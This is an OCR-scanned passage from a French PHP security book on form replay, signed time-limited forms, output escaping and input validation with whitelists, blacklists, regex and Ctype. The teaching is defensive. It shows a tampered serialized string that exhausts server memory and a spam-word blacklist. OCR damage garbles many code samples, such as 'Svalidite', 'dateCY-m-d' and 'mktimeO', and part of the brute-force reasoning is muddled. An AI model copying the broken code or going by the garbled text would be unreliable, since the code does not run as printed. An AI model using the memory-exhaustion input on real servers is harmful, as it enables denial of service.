id=33&mon+ami=PHP 

Comme vous pouvez le voir, les champs qui sont transmis apparaissent clairement dans 
ce message. Pour organiser une attaque systematique sur un formulaire, il suffit maintenant 
de reproduire ce message, tout en faisant varier les valeurs. Un script PHP tout simple est 
capable de le faire. 

En outre, afficher la requete HTTP permet de passer facilement certaines techniques de 
camouflage JavaScript : certains formulaires modifient les valeurs soumises par l'utilisa- 
teur avant leur envoi au serveur. JavaScript sert alors a modifier les noms des variables, 
calculer des sommes de tests, ou ajouter d'autres valeurs. Cela decouple les variables utilisees 
dans le formulaire de celles qui transitent sur Internet. En lisant le protocole HTTP, ou en 
deplacant le formulaire, il est facile de voir quelles sont les valeurs reellement envoyees 
et comment les reproduire. 
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Le camouflage JavaScript complique la tache du pirate, qui doit maintenant analyser le 
code pour comprendre comment ces variables sont transformees avant d'etre envoyees. 
Cependant, ce code est clairement accessible. Au bout du compte, les camouflages Java- 
Script sont utiles, mais ne fournissent pas un niveau de securite eleve, s'ils sont utilises seuls. 

Un formulaire unique 

La seule technique qui empeche le deplacement de formulaire consiste a donner une 
duree de vie a ce dernier. Lors de l'affichage du formulaire, on ajoute un champ invisible 
de type date avec une date d'expiration ou la date de production du formulaire. Si cette valeur 
n'est pas fournie, ou bien si les delais sont depasses, alors on considere que l'utilisateur a 
perdu trap de temps et qu'il doit recommencer a tout remplir. On peut aussi imposer un 
delai minimal entre la production du formulaire et sa soumission : si le formulaire est 
rempli trop rapidement, peut etre que nous n'avons pas a faire a un visiteur humain. 

<form act ion=" http://www.si te.com/afficher.php" method="POST"> 
| <input type="hidden" name="date" val ue="2007-01-06 15 :21 :00"> 

Contrairement a HTTP_REFERER, aucun navigateur ne va ignorer le champ de date que nous 
avons introduit. S'il est absent, alors c'est que l'utilisateur n'est pas passe par le formu- 
laire initial : vous pouvez lui envoy er une nouvelle copie du formulaire, avec un nouveau 
champ date. 

Evidemment, si la valeur date est laissee en clair dans le code, elle sera facile a detecter 
et a contourner. Le niveau de securite sera tres faible, mais ce sera une petite etape de plus. 

Pour compliquer la tache du pirate, on utilise une valeur chiffree ou signee. Si la valeur 
est chiffree, vous ne pourrez la dechiffrer qu'avec la cle ad hoc. 

II est aussi possible d'utiliser une date signee : elle n'est plus dechiffrable, mais toujours 
utilisable. Par exemple, pour donner une duree de vie de 10 minutes a un formulaire, 
vous pouvez signer la date avec MD5, comme ceci : 

// publication du formulaire 

$date = md5('Sel_' .date( 'Y-m-d h:i:00 "); 

Apres soumission du formulaire, vous devrez tester sa validite. Comme MD5 n'est pas 
dechiffrable, vous pourrez simplement tester si elle fait partie des 10 valeurs possibles, 
comme ceci : 

// test du formulaire 
Svalidite = range(0, 10) ; 
Svalide = false ; 
foreach($val idite as $v) { 

$valide |= ($_P0ST[ 'date' ] == 

md5('SeL' .dateCY-m-d h : i : 00 ", mktimeO + $v * 60)); 

} 
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Si Tune des valeurs valides correspond a la valeur fournie, nous avons un timbre valide. 
Si aucune ne correspond, le timbre n'est pas valide : il peut etre expire ou pirate. Dans les 
deux cas, nous savons que l'utilisateur doit recommencer son formulaire. 

Cette astuce revient simplement a faire une attaque systematique sur la valeur date. C'est 
une approche qui est raisonnable, car le nombre de valeurs a tester est faible: la boucle 
de resolution prend en tous dix iterations. Pour un pirate, ce nombre est extremement 
grand : il doit faire dix iterations pour tester systematiquement chaque prefixe. Si nous 
utilisons seulement cinq lettres minuscules, cela fait environ douze millions d'iterations. 
Cela devrait proteger les donnees pour un temps suffisamment long. 

II est aussi interessant d'utiliser une session PHP : cette derniere permet de stocker plus 
d' informations concernant l'utilisateur et fournit un mecanisme automatique et parallele 
pour transmettre les informations de validite du formulaire. En rangeant la date d'expira- 
tion dans la session, elle ne sera meme pas vue par le pirate. 

Enfin, une derniere solution pour assurer l'unicite du formulaire consiste a utiliser un 
cookie. C'est toujours une bonne idee de melanger differents mecanismes de transport 
pour ameliorer la securite d'une valeur. De plus, un cookie peut recevoir une date d'expi- 
ration qui sera geree automatiquement par le navigateur. Neanmoins, comme on ne peut 
pas se tier au navigateur, pensez a inclure la date d'expiration dans la valeur du cookie, 
pour la verifier par vous-meme. Enfin, le cookie peut aussi etre chiffre ou signe. 

Au bout du compte, il est difficile de s'assurer absolument du passage de l'utilisateur par 
un formulaire particulier, ou par une succession de pages. II faudra placer la securite a un 
autre endroit. 



La creation de formulaires 

Comme les pages HTML statiques, les formulaires statiques sont revolus. De nos jours, 
les formulaires sont produits au moment ou l'utilisateur en a besoin : dynamiquement. La 
premiere utilisation de cette creation dynamique est celle des formulaires d' edition : des 
donnees sont enregistrees dans un premier formulaire et affichees plus tard pour etre 
mises a jour. 

D'autres applications plus complexes mettent en jeu des transformations dans la struc- 
ture meme du formulaire : des champs qui dependent de valeurs deja entrees. Par exem- 
ple, un formulaire de saisie de coordonnees peut demander d'abord le pays de residence, 
pour adapter la forme des champs de l'adresse. Citons aussi un systeme de categories a 
plusieurs niveaux, ou la selection de la categorie mere declenche le chargement de la 
categorie fille, avec un mecanisme Ajax. 

Entre le formulaire qui etait utilise en developpement et celui qui est affiche au visiteur, 
il existe de grosses differences. Les donnees de l'utilisateur sont maintenant integrees 
directement dans le code source de la page. 

Imaginons une application qui propose deux formulaires distincts : l'un pour inserer des 
donnees et 1' autre pour les editer. Le premier formulaire prend les donnees, les insere 
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dans la base, puis affiche un simple message « vos donnees ont ete correctement 
enregistrees ». Les risques d'injection XSS sont done totalement mils, puisque seules des 
chaines litterales sont utilisees. 

En revanche, le probleme se reporte au deuxieme formulaire, puisque ce dernier doit 
prendre des donnees dans la base pour les afficher. II est tentant de considerer que les 
donnees provenant de la base ont ete deja validees avant d'etre inserees, mais en fait, on 
ne peut etre sur que d'une seule chose : les donnees ont pu etre inserees dans la base. II y 
a plusieurs situations qui sont potentiellement problematiques : 

• Les donnees n'ont pas ete securisees dans le script entrant, comme dans notre exemple. 
Les situations sont variees : le script entrant n'etait pas vulnerable a une attaque qui 
affecte le script d' edition, ou bien ce n'etait pas un script PHP, mais une importation de 
donnees en provenance d'un autre systeme ou d'une vieille base historique. . . 

• Le systeme entrant a valide les donnees pour un format, mais n'a pas pris en compte la 
securite du point de vue HTML : un formulaire PDF ou Flash ne structure pas les 
donnees avec les memes contraintes qu'un formulaire HTML. 

• Les donnees ont ete modifiees dans la base de donnees, par un systeme tiers ou par un 
script qui n'etait pas vulnerable aux memes problemes. 

Pour toutes ces raisons, la creation de formulaire devient une etape aussi critique que la 
validation des donnees entrantes. La protection contre ce type de vulnerability est la 
protection des donnees sortantes. 

Dans un formulaire, les donnees sont placees dans des attributs ou dans des corps de balises, 
dans le texte ou encore dans le code JavaScript. Chacun de ces emplacements conduit a 
des attaques specifiques. La technique de protection la plus courante est l'utilisation de 
html speci al chars( ) ou htmlentitiesO. 



Maftriser les erreurs de formulaire 

Lorsque des erreurs se produisent durant le traitement d'une soumission et que le serveur 
doit demander a l'utilisateur de corriger un probleme, on se retrouve dans la situation ou 
le formulaire doit etre cree dynamiquement. La situation est d'autant plus delicate que le 
script est arrive a la conclusion que les donnees ne sont pas valables pour 1' application et 
peut-etre meme pour sa propre securite. 

II est communement admis qu'un formulaire doit etre ergonomique et doit faciliter la 
tache des utilisateurs : lorsqu'une erreur se produit, il faut afficher le formulaire initial, 
avec les donnees telles que l'utilisateur les a deja saisies, pour eviter qu'il ne refasse tout 
le travail. Quiconque a deja rempli plusieurs fois un formulaire de 20 champs ou plus 
defendra cherement ce type d'approche. 

Certains formulaires tentent d' aider l'utilisateur en corrigeant d'eux-memes les erreurs 
qui sont introduites. Le concept est honorable du point de vue de l'ergonomie et conduit 
a des situations pratiques : on peut ainsi laisser l'utilisateur entrer une valeur legerement 
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erronee et la corriger a la volee. Par exemple, supprimer les espaces inutiles en debut et 
fin de saisie est generalement commode pour tout le monde. 

II faut cependant se poser la question suivante : est-ce que la correction va introduire un 
probleme de securite? Pour les magic_quotes de PHP, la reponse est clairement oui. 
Chris Shiflett a signale une situation ou des caracteres speciaux en chinois sont pris en 
charge par les guillemets magiques : malheureusement, l'insertion d'une barre oblique 
inverse (ou anti slash) a pour resultat de corriger la chaine entrante et de neutraliser la 
barre oblique inverse de protection. Tel est pris qui croyait prendre. . . 

Si la fonction de correction n'est pas invulnerable, il vaut mieux retourner a l'utilisateur 
les valeurs qu'il a entrees, sans tenter de les modifier. A ce stade-la, l'affichage d'une 
valeur avec un contenu suspect devient un defi : il faut introduire dans le formulaire des 
donnees qui sont visiblement invalides pour l'application, tout en garantissant la production 
d'un formulaire stable. 

II n'est pas question d'afficher les donnees telles qu'elles ont ete introduites : au mini- 
mum, il faut les proteger pour les afficher correctement, car elles seront inserees dans des 
balises de formulaire. 

La meilleure recommandation de securite consiste a indiquer les erreurs a l'utilisateur et 
a lui proposer un lien de type retour en arriere : cela se fait avec un lien JavaScript simple, 
grace a l'historique du navigateur : 

<a href =" javascript: hi story. go(-l); ">Retour</a> 

Grace a lui, le formulaire precedent est presente a nouveau, les valeurs sont conservees et 
on evite de le recreer, en incluant des valeurs dangereuses. Voyons maintenant quelles 
approches utiliser pour valider les donnees avant de les utiliser dans l'application. 

Techniques de validation des donnees 

Pour qu'une donnee soit validee, elle doit satisfaire a tous les criteres implemented : plus 
il y en a, meilleure est la securite. PHP dispose d'une large gamme de criteres : certains 
sont populaires, d'autres sont plus discrets, mais tous sont utiles. 

Presence et absence de donnees 

La premiere chose a verifier est la presence ou 1' absence de la donnee attendue. Si le 
formulaire doit fournir une valeur prenom, alors la premiere chose a faire est de s'assurer 
de l'existence de cette valeur. Dans le cas contraire, une erreur doit etre signalee. 

Inversement, il est recommande de s'assurer qu'aucune valeur supplementaire n'est 
introduite. Le protocole HTTP permet d'ajouter autant de variables qu'on le souhaite. 
PHP les prepare de la meme facon que les autres et si une variable n'est pas attendue, elle 
est generalement ignoree. Toutefois, ces variables surnumeraires sont ajoutees avec 
l'espoir sournois qu'elles puissent etre confondues avec d'autres. 
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Aujourd'hui, l'epoque de la directive register_globals, qui introduisait des variables 
dans le corps meme du script, est revolue. Les variables provenant du visiteur doivent 
etre rangees dans les tableaux superglobaux $_GET, $_P0ST, etc. et sont plus rarement 
confondues avec des variables internes du script. 

La meilleure pratique pour gerer la presence ou l'absence des variables est de les prendre 
dans les tableaux ou elles sont attendues et de les ranger dans un tableau qui porte un 
nomexplicite : $_PR0PRE, $_CLEAN, ou autres. 

Grace a cette astuce de programmation, vous allez gagner en securite a plusieurs niveaux : 

• II est facile de tester la presence ou l'absence d'une variable dans le tableau de valeurs 
validees : isset( ) est la pour 5a. 

• Les valeurs qui sont dans ce tableau ont ete validees : ca se voit. Quand vous relisez 
votre code, il devient facile de savoir qu'une valeur est propre (elle est dans ce tableau) 
ou entachee (elle est dans les tableaux fournis par PHP, $_GET, $_P0ST, etc). 

• Si une valeur ne peut etre validee, il est possible de la remplacer par une valeur par 
defaut et de continuer 1' execution du script tranquillement. C'est un atout au niveau de 
l'ergonomie de l'application web, sans rien sacrifier au niveau de la securite. C'est 
aussi pratique avec les cases a cocher, qui ne sont pas toujours envoyees par le formulaire 
quand elles ne sont pas cochees. 

• Si le code tente d'acceder a une valeur qui n'a pas ete filtree ou que le formulaire n'a 
pas fournie, alors elle sera absente du tableau. II est facile de tester sa presence avec 
IssetO et si vous omettez cette etape, c'est la valeur nulle qui sera fournie par PHP : 
cette valeur ne cause aucune injection. 

• Toutes les variables sont concentrees dans un seul tableau, ce qui evite d' avoir a cher- 
cher dans plusieurs : $_P0ST, $_GET, $_REQUEST, $_ENV, $_C00KIE. $_SERVER, $_FI LES. 

• II est facile de verifier l'utilisation de $_CLEAN a la place des superglobales dans les 
scripts, a l'aide d'un analyseur statique. Les superglobales standards de PHP doivent 
etre confinees a un ou deux fichiers, tandis que $_CLEAN doit etre utilise partout ailleurs. 

Pour aller jusqu'au bout, signalons tout de meme que $_CLEAN ne pourra pas avoir le 
caractere superglobal dont dispose les autres variables de PHP, telles que $_GET, ou 
$_P0ST. 



Les types des donnees 

Apres la presence attendue d'une variable, la premiere validation est celle du type de 
donnees. Est-ce une chaine, un nombre, un tableau ou autre chose? Les informaticiens 
sont habitues a classer les variables en fonction de leur type. Mais PHP a plus d'un tour 
dans son sac. 

Soyons clair des le debut de cette section : verifier le type des donnees fournies a PHP est 
une operation vaine et une quete sans issue, a cause non seulement de la nature meme de 
HTTP, mais aussi de celle de PHP. 
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En fait, HTTP est un protocole de communication. II ne fait que transporter des chaines 
de caracteres. A , b , c , 1 , 2 , & , | : il ne s' agit que de caracteres pour le protocole qui ne 
s'embarrasse d'aucune notion de type (ni mot, ni nombre, ni rien). 

PHP recoit alors toutes les valeurs sous forme d'un long texte auquel il applique ses tech- 
niques d' analyse pour en extraire des valeurs et des variables. Ainsi, il n'obtient rien 
d' autre que des chaines de caracteres, ou encore des tableaux. 

Observez ce code : 

foreach($_GET as $var => Svalue) { 
print htmlentities($var, ENT_COMPAT, ' ISO-8859-1 ' ) . " => ".gettype($value) .". 
*-".htmlentities($value, ENT_COMPAT, ' ISO-8859-1 '). "<br />"; 

} 

qui est appele a l'aide de cette URL : 

http: //www. si te.com/ test. type.php?a=b&c=l&d[]=l 

Le resultat est le suivant : 

a => string, b 
c => string, 1 

Warning: html entities( ) expects parameter 1 to be string, array given in /Users 
*»/macbook/Sites/test.type.php on line 4 
d => array, 

a vaut b, et c'est bien une chaine de caracteres qui est recue. Jusque-la, tout va bien. 

c vaut 1, mais encore une fois, c'est la chaine de caracteres '1 ' qui est recue. Si vous ne 
vous etes jamais apercu de la nature reelle de la variable c, c'est que PHP vous aide en 
effectuant les conversions necessaires, lorsque c'est pertinent : 

echo $c + 1 ; 

Cette instruction va bien vous retourner le nombre 2. PHP detecte qu'il y a une addition entre 
un entier et une variable. La variable est convertie en nombre, puis additionnee a un. 

Enfin, il est parfois peu connu que PHP accepte des tableaux comme valeur entrante. II 
suffit d'ajouter des crochets pour initialiser un tableau a la place d'une chaine de caracte- 
res. II est aussi possible de faire des tableaux de tableaux, en enchainant les crochets, ou 
encore de fournir des index entre les crochets : 

http: //www. si te.com/test. type. php?d[]=l&e[][][]=2&f [33]=3 

avec le script : 

<?php 
print "<pre>"; 

foreach($_GET as $var => Svalue) { 
print htmlentities($var, ENT_COMPAT, ' ISO-8859-1 '). "<br />"; 
print htmlentities(print_r($value, true), ENT_COMPAT, 'ISO-8859-1'): 
print "<br />"; 

} 

print "</pre>"; 

?> 
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On obtient : 
d 

Array 
( 

[0] => 1 

) 
e 

Array 
( 

[0] => Array 
( 

[0] => Array 
( 

[0] => 2 

) 

) 

) 
f 

Array 
( 

[33] => 3 

) 

L' implantation des tableaux en PHP est une extension du protocole HTTP : ce dernier ne 
reconnait pas les tableaux. PHP les detecte durant sa phase d' analyse des donnees entrantes 
et leur affecte le bon type de donnees. lis ont ete ajoutes pour une raison bien particuliere. 

Les tableaux sont generalement utilises dans une application PHP lorsqu'il faut gerer des 
champs de type sel ect avec 1' attribut multi pi e. Neanmoins, rares sont les situations ou les 
variables sont testees pour verifier s'il s'agit bien de tableaux. 

En ce qui concerne la securite, il est encore frequent de nos jours de perturber une appli- 
cation en ajoutant simplement des crochets dans une URL. 

Pour conclure sur les problemes de type de donnees, il faut se rappeler que PHP est un 
langage faiblement type. Si une valeur possede un type a un point du script, il est possible 
qu'elle en possede un autre un peu plus loin. Pour verifier les types des variables entrantes, il 
faut proceder avec prudence. 

Pour tester le type d'une variable entrante dans un script PHP, il faut utiliser les fonctions 
PHP suivantes : 

• i sset( ) pour verifier si la variable existe avant de 1' utiliser ; 

• i s_a r ray ( ) pour verifier si la variable est un tableau ; 

• is_string( ) pour verifier si la variable est une chaine ; 
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• is_int(), is_integer( ), is_l ong( ) pour verifier si la variable est un entier ; 

• i s_fl oat( ) , i s_real ( ) , ou i s„doubl e( ) pour verifier si la variable contient un nombre 
decimal ; 

• i s_bool ( ) pour verifier si la variable contient une valeur booleenne ; 

• i s_numeri c( ) pour verifier si la variable contient un nombre decimal ou entier ; 

• is^scal ar( ) pour verifier si la variable contient une valeur scalaire : nombre, booleen, 
chaine. 

is_object(), is_resource( ), i s^cal 1 abl e( ) et is_nul"l() sont aussi disponibles en PHP, 
pour tester respectivement des objets, des ressources PHP, une fonction valide ou la 
valeur NULL. lis ne s'appliquent pas aux entrees de scripts, car HTTP et PHP ne produi- 
sent aucune variable de ce type. 

Ainsi, la verification de type est pratique pour differencier des nombres, des chaines de 
caracteres ou des tableaux, mais c'est probablement tout. Les chaines de caracteres 
devront servir de contenant pour faire entrer virtuellement tous les autres types d' objets 
possibles, tels date, code postal, code PHP, balises, objets linearises, etc. Pour cela, il va 
falloir ajouter d' autres validations. 

Les donnees complexes 

Dans la continuite de ce que nous venons de voir, une pratique repandue pour gerer faci- 
lement des formats de donnees est d'utiliser la linearisation : cette technique, appelee 
aussi serialisation, consiste a obtenir une representation en chaine de caracteres de varia- 
bles, pour pouvoir la faire transiter par HTTP. Les variables sont linearisees, avant d'etres 
passees a HTTP, puis delinearisees a la reception. 

$a=array("l") ; 
echo serialize($a); 

Ce script PHP affiche : 

a : 1 : { i : 0 ; S : 1 : " 1 " ; } 

En integrant cette valeur dans un formulaire, par exemple sous forme de champ cache, 
avec le nom b, on obtiendra dans le script de reception : 

$_GET["b"] = 'a:l:{i:0;s:l:"l";}' 
$b = unserialize($_GET["b"]) ; 

On retrouve dans b la valeur de la variable a, quelle que soit sa complexite. Seules les 
ressources ne pourront pas passer par ce type de systeme, car elles sont entierement 
dependantes de PHP. 

Or, le probleme est que le format de linearisation est un format interne a PHP, destine au 
stockage des sessions. II n'est pas prevu qu'il soit utilise pour structurer les communica- 
tions entre le serveur et le client, car il est facile a modifier. Par exemple, en changeant la 
valeur issue de a, on peut faire ceci : 

a : 200: {i :0;S : 100: " 1 " ; } 
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Maintenant, la chaine qui est dans le tableau « pese » 100 octets et la taille du tableau est 
de 200 elements. En modifiant une petite partie de la variable, on a de grandes repercussions 
dans le script car ce dernier va tenter d'allouer beaucoup de memoire pour reconstruire 
cette variable : c'est un cas de deni de service par epuisement de memoire. 

Les techniques de linearisation souffrent toutes du meme probleme de representation : 
XML, Json, WDDX, etc. En modifiant un peu les donnees, on peut facilement induire en 
erreur le moteur qui recompose les donnees en memoire. 

Si vous devez manipuler des donnees complexes, il sera plus sur de stacker les donnees 
dans une session et de faire transiter uniquement l'identifiant de session par le reseau. 

La taille des donnees 

Outre le type, la taille des donnees qui sont fournies a PHP constitue une information 
importante. C'est une mesure de protection qui est trop souvent oubliee. Pourtant, elle est 
souvent efficace a mettre en place, sert la defense en profondeur, et ne coute rien. Pour- 
quoi s'en priver ? 

Prenons un formulaire qui demande son prenom a un utilisateur. Si ce dernier entre une 
valeur d'un seul caractere ou moins, on pourra lui signaler une erreur : rares sont les 
prenoms qui tiennent en une lettre. Neanmoins, quelle est la taille maximale d'un 
prenom ? En prenant un prenom compose, quelques fautes d'orthographe et une touche 
d'exotisme, on doit pouvoir aller assez loin. II est probable que 30 caracteres seront deja 
une limite genereuse, avec 60, on est certain de pouvoir accepter un maximum de 
prenoms. 

Pourquoi mettre une telle limite ? En regardant les differentes injections, on realise un 
point important : pour contourner les systemes de securite, les pirates font appel a des 
sequences de caracteres pour remplacer des caracteres explicites. Par exemple, un j 
devient un j. Pour exploiter une vulnerabilite, il est done plus facile de pouvoir 
injecter une quantite illimitee de texte. 

Ainsi, surveiller la taille des donnees entrantes, a l'aide de la fonction strlenO, aide a 
detecter des situations peu ordinaires. II est vrai que certaines injections sont tres courtes, 
mais elles sont nettement plus rares que les longues. 

Bien entendu, cette astuce n'est pas universelle. Les exemples abondent de formulaires 
qui ont besoin de grandes quantites de donnees en provenance de l'utilisateur : ainsi, un 
article de journal qui est edite en ligne doit effectivement etre un texte plutat long, auquel 
il sera difficile de mettre une limite raisonnable. 

La llste blanche 

La validation la plus sure qui soit est celle qui se base sur une approche de type 
dictionnaire : la valeur entrante doit faire partie d'un ensemble de valeurs possibles. II 
faut insister sur le fait que le nombre de valeurs possibles doit etre raisonnable, sinon une 
approche plus generique sera plus appropriee. 
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L illustration classique de la liste blanche (ou white list en anglais) est le menu deroulant, 
obtenu avec une balise <select> : dans un formulaire, on propose de choisir une valeur 
ou plusieurs au sein d'une liste. Toutefois, cette balise n'a qu'un role purement graphique 
et ergonomique. 

Du cote du serveur, cela se traduit par une liste de valeurs. Si ces dernieres sont sufhsam- 
ment generiques et peu nombreuses (comme les mois de l'annee ou les jours de la 
semaine), elles sont alors rangees dans un tableau. Si les valeurs sont plus nombreuses ou 
simplement plus volatiles, elles sont rangees dans une base de donnees. L'approche est 
similaire dans les deux cas. 

Si le test echoue, c'est-a-dire si la valeur n'est pas trouvee dans la liste, alors une valeur 
par defaut est utilisee ou bien une erreur est retournee. 

Comme les valeurs introduites dans 1' application sont rigoureusement testees a l'avance, 
la liste blanche fournit un systeme de validation imparable. 

La liste blanche s' applique aux chaines de caracteres : elle represente alors les caracteres 
dont l'emploi dans une chaine est permis, a 1' exception de tous les autres. Par exemple, 
les caracteres suivants sont autorises dans un code postal canadien : 

0123456789ABCEGHJKLMNPRSTVXY 

En autorisant uniquement ces caracteres, vous pouvez vous premunir facilement contre 
les injections SQL ou HTML car il n'y a aucun caractere comme <, >, ' ou ", tout en ajoutant 
des tests de filtrage tres rapides. 

Lorsque le nombre de valeurs augmente beaucoup, on a souvent recours a une base de 
donnees pour realiser ce type de test. II faut alors bien noter qu'il y a un decalage dans le 
probleme de validation : c'est la base de donnees qui verifie une valeur dans une liste, a 
l'aide d'une requete. II faut done ajouter un test de validation pour que la valeur a tester 
puisse etre utilisee correctement dans une requete SQL. Heureusement, ce petit detour 
est assez simple a mettre en place. 



La liste noire 

Le contraire de la liste blanche est la liste noire (black list en anglais). C'est generale- 
ment le premier type de liste de securite auquel on pense : on sait ce dont on ne veut pas. 
En termes de securite, son efficacite est moindre que celle de la liste blanche. 

Le principe de la liste noire est de lister les valeurs interdites, pour pouvoir les refuser des 
qu'on les detecte. Parmi les applications classiques, on trouve la liste noire de mots inter- 
dits dans un commentaire poste sur un site web ou les listes d' adresses IP dont il est bon 
d'ignorer les courriers electroniques. 

Dans le cas des mots tabous pour un commentaire, la liste blanche apparait difficile a 
utiliser : il faudrait autoriser presque tous les mots possibles. II faut alors realiser un 
dictionnaire quasi-exhaustif, et meme anticiper les mots qui vont apparaitre : les fautes 
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d'orthographe, les neologismes, les anglicismes, les sigles et les marques de commerce. 
Tout cela rend impossible la realisation d'une liste blanche complete. 

Dans ces circonstances, il est beaucoup plus simple de mettre en place une liste noire : on 
interdit les mots les plus frequemment utilises dans les spams de commentaire. Vous avez 
surement une liste de mots qui vous viennent a 1' esprit immediate ment. 

Cependant, si hier le poker et les pilules etaient l'objet courant de spams, demain ce sera 
peut-etre le petrole et les medicaments contre le poids. II faudra done ajouter ces nouveaux 
mots a la liste noire. II faut la aussi prendre en compte les fautes d'orthographe, ainsi que 
les variations deliberees : pokker, p()ker, p oke r, joker, etc. Et peut-etre le poker revien- 
dra-t-il plus tard en odeur de saintete, auquel cas il faudra le retirer de la liste noire. 

La liste noire souffre done d'un retard permanent : elle ne sait que lister les importuns 
que Ton a connus, mais ne permet pas d'anticiper les evolutions futures. Pour resoudre ce 
probleme, il existe des projets collaboratifs destines a avoir une approche exhaustive, en 
federant les experiences de nombreux utilisateurs. C'est le cas des projets comme 
spamhaus contre les spammeurs, ou la barre netcraft contre le phishing. Ces outils 
ameliorent l'interet des listes grace a la participation de la communaute, qui assure une 
efficacite plus grande. 

L' autre probleme dont souffre la liste noire est que les elements qui n'en font pas 
(encore) partie sont automatiquement autorises. Pour reprendre 1' illustration des mots 
interdits dans les commentaires d'un site, les spammeurs vont essayer differentes variantes 
d'un mot : si « poker » est interdit, ils pourront tenter « POKER », ou « P.O.K.E.R. » ou 
« PoKeR » ou « P()K3r »... Rapidement, apres les avoir identifies, le webmestre va les 
interdire aussi. Toutefois, cela lui impose une surveillance permanente de son site. Une 
solution par liste blanche n'aurait pas ces problemes, car les variantes n'apparaitraient 
pas dans le dictionnaire. 

Lorsque vous mettez en place vos filtres de validation, demandez-vous toujours en 
premier lieu si une approche par liste blanche est possible. Si elle est raisonnable, une 
approche par liste blanche est toujours plus appropriee qu'une liste noire. 



La liste grise 

La liste grise est une extension de la liste blanche et de la liste noire : c'est en fait une 
simple combinaison des deux. Du blanc et du noir donne du gris : CQFD ! 

Par exemple, la langue francaise autorise environ 70 000 mots et 300 000 variantes, dues 
notamment aux verbes conjugues. II est difficile d'utiliser la liste blanche dans un tel cas. 
Une bonne solution consiste done a utiliser un correcteur orthographique pour effectuer 
une premiere validation, puis passer une liste noire de mots. Si le nombre de mots errones 
et de mots en liste noire depasse un niveau critique, on peut alors considerer le message 
comme un spam. 

Une autre situation de liste grise est 1' interrogation d'une base de donnees pour verifier 
un nom d'utilisateur : pour interroger la base de donnees, il faut d'abord utiliser une 
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requete SQL. On peut alors utiliser une liste noire de caracteres interdits (tels ' , " ou les 
espaces), puis envoyer le tout a une requete SQL. 



Les expressions regulieres 

Les expressions regulieres, ou expressions rationnelles, sont un outil particulierement 
puissant pour valider le format des donnees. Un modele d'expression reguliere exprime 
des structures complexes de chaines de caracteres, tout en laissant le soin a PHP d'analyser 
la chaine exactement. En voici deux exemples : 

/ A (\d\d)-(\d\d)-(\d\d)-(\d\d)-(\d\d)$/ : 
//un numero de telephone au format francais. 
/ A \(?(\d\d\d)\)?-(\d\d\d)-(\d\d\d\d)$/ : 
//un numero de telephone au format nord-americain. 

La syntaxe des expressions regulieres depasse le cadre de cet ouvrage et nous vous 
conseillons de lire la documentation PHP ainsi que les sites qui leur sont dedies. Certains 
proposent meme des bibliotheques d'expressions toutes faites, pretes a l'emploi et 
completement testees. 

Les expressions regulieres permettent d'imposer des normes particulieres a une chaine 
de caracteres. Elles s'accordent generalement bien avec les formats de donnees que nous 
allons aborder dans la prochaine section. 

On peut appliquer aux expressions regulieres les concepts de liste blanche et de liste 
noire que nous avons vus precedemment : 

/[a-z]/ autorise les caracteres al phabetiques minuscules : liste blanche 
/[ A a-z]/ interdit les caracteres al phabetiques minuscules et autorise tous les autres 
*»caracteres : liste noire. 

Les expressions regulieres ont plusieurs inconvenients, qu'il convient de noter : 

• Elles sont assez lentes sur des chaines de tres grande taille et pour les expressions les 
plus complexes. La securite a un cout. 

• Elles permettent, avec l'option e, d'executer du code PHP pour faire un remplacement. 
C'est une vulnerabilite qui ouvre le code PHP d'un script (nous en reparlerons plus loin). 

• Elles s'appliquent uniquement aux chaines de caracteres et ne fonctionnent pas avec 
les nombres ou les tableaux. 

Les expressions regulieres sont rarement capables de valider d' autres types de donnees 
que les chaines de caracteres. Prenons un exemple : 

/ A \d+$/ 

Cette expression reguliere identifie une chaine de caracteres composee de chiffres. Ainsi, 

I 

123 
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sont toutes des chaines que cette derniere valide. II est alors facile de sauter a la 
conclusion : cette expression valide n'importe quel nombre, mais uniquement sous forme 
de chaine de caracteres. En effet, la chaine suivante 

123456789012345678901234567890123456789012345678901234567890123456789012345678901234 
567890123456789012345678901234567890123456789012345678901234567890123456789012345678 
901234567890123456789012345678901234567890123456789012345678901234567890123456789012 
345678901234567890123456789012345678901234567890123456789012345678901234567890123456 
789012345678901234567890 

est bien validee, mais si on lui additionne 0, PHP va depasser sa capacite de representa- 
tion des entiers et retourner une valeur qui n'est pas un nombre : 

INF 

Gardez bien en tete que les expressions regulieres sont faites pour valider des chaines de 
caracteres. Lorsque vous effectuez la transformation depuis un format de chaine entrante 
en un objet PHP specifique (entier, objet, tableau, etc.), utilisez toujours les fonctions 
adequates et les mesures de precaution qui s'y rattachent. 

Les formats standardises 

Nous sommes entoures par des donnees formatees. Une plaque d'immatriculation, un 
numero d'entreprise, un numero de securite sociale, un numero de telephone, une 
adresse, sont autant de donnees formatees. Dans certains cas, une autorite particuliere 
emet un format a respecter. Dans d'autres, c'est la pratique de tous les jours qui impose 
ce format. 

Quand il faut manipuler les donnees, il est toujours interessant de se tourner vers les 
organismes emetteurs ou le consortium ISO pour en apprendre la structure exacte. Cette 
recherche de documentation vous permettra aussi d' adapter le format de stockage des 
donnees. 

Et, comme toujours dans le monde Open Source, il existe deja des developpeurs qui ont 
eu a faire face a des problemes de format et qui ont publie leurs bibliotheque s. 

Les t litres en PHP 

II existe plusieurs systemes de filtrage en PHP, disponibles directement dans la distribu- 
tion officielle, ou bien a l'aide d'une simple installation. 

Ctype 

Ctype est une extension generalement disponible par defaut dans les installations PHP et 
ne demandant aucune bibliotheque supplementaire. En fait, elle represente une interface 
directe avec la bibliotheque C standard de votre systeme d' exploitation. De ce fait, elle 
est tres rapide. 
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Ctype propose onze fonctions qui analysent une chaine et indiquent si les caracteres dont 
elle est constitute correspondent a un type specifique de caracteres : 

• ctype_al num( ) verifie qu'une chaine est alphanumerique. 

• ctype_al pha( ) verifie qu'une chaine est alphabetique. 

• ctype^cntrl ( ) verifie qu'un caractere est un caractere de controle. 

• ctype_digit() verifie qu'une chaine est un entier. 

• ctype_graph( ) verifie qu'une chaine est imprimable (hors espaces). 

• ctype_l ower( ) verifie qu'une chaine est en minuscules. 

• ctype_pri nt( ) verifie qu'une chaine est imprimable (y compris les espaces). 

• ctype_punct( ) verifie qu'une chaine contient de la ponctuation. 

• ctype_space( ) verifie qu'une chaine n'est faite que de caracteres blancs (espaces). 

• ctype_upper( ) verifie qu'une chaine est en majuscules. 

• ctype_xdigit( ) verifie qu'un caractere represente un nombre hexadecimal. 

Ctype s'utilise facilement et est capable de s'adapter au contexte local (par exemple, de 
reperer les caracteres accentues francais). Voici un exemple d'application adapte de la 
documentation PHP, dans lequel la fonction ctype_alpha( ) verifie qu'une chaine ne 
contient que des caracteres alphabetiques : 

